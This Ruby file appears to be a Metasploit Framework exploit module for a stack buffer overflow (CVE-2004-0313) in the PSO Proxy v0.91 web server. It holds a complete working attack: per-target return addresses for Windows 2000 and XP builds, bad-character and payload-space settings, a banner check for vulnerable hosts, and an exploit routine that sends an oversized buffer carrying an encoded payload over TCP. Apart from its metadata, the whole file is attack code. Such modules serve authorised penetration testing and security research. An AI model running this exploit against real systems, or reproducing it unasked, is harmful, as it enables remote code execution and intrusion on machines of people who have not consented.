92 lines
2.4 KiB
Ruby
92 lines
2.4 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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class Metasploit3 < Msf::Exploit::Remote
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Rank = AverageRanking
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include Msf::Exploit::Remote::Tcp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'PSO Proxy v0.91 Stack Overflow',
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'Description' => %q{
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This module exploits a buffer overflow in the PSO Proxy v0.91 web server.
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If a client sends an excessively long string the stack is overwritten.
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},
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'Author' => 'Patrick Webster <patrick@aushack.com>',
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'License' => MSF_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'CVE', '2004-0313' ],
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[ 'OSVDB', '4028' ],
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[ 'URL', 'http://www.milw0rm.com/exploits/156' ],
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[ 'BID', '9706' ],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'thread',
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},
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'Payload' =>
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{
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'Space' => 370,
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'BadChars' => "\x00\x0a\x0d\x20",
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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# Patrick - Tested OK 2007/09/06 against w2ksp0, w2ksp4, xpsp0,xpsp2 en.
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[ 'Windows 2000 Pro SP0-4 English', { 'Ret' => 0x75023112 } ], # call ecx ws2help.dll
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[ 'Windows 2000 Pro SP0-4 French', { 'Ret' => 0x74fa3112 } ], # call ecx ws2help.dll
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[ 'Windows 2000 Pro SP0-4 Italian', { 'Ret' => 0x74fd3112 } ], # call ecx ws2help.dll
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[ 'Windows XP Pro SP0/1 English', { 'Ret' => 0x71aa396d } ], # call ecx ws2help.dll
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[ 'Windows XP Pro SP2 English', { 'Ret' => 0x71aa3de3 } ], # call ecx ws2help.dll
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],
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'Privileged' => false,
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'DisclosureDate' => 'Feb 20 2004',
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'DefaultTarget' => 0))
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register_options(
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[
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Opt::RPORT(8080),
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], self.class)
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end
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def autofilter
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false
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end
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def check
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connect
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sock.put("GET / HTTP/1.0\r\n\r\n")
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banner = sock.get(-1,3)
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if (banner =~ /PSO Proxy 0\.9/)
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return Exploit::CheckCode::Vulnerable
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end
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return Exploit::CheckCode::Safe
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end
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def exploit
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connect
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exploit = rand_text_alphanumeric(1024, payload_badchars)
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exploit += [target['Ret']].pack('V') + payload.encoded
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sock.put(exploit + "\r\n\r\n")
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disconnect
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handler
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end
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end
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